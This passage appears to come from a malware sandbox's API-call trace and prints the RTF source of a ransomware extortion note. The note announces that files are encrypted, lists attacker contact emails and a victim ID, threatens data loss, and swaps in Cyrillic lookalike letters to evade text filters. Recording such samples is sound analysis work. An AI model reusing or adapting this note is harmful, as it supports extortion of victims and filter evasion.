\\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir 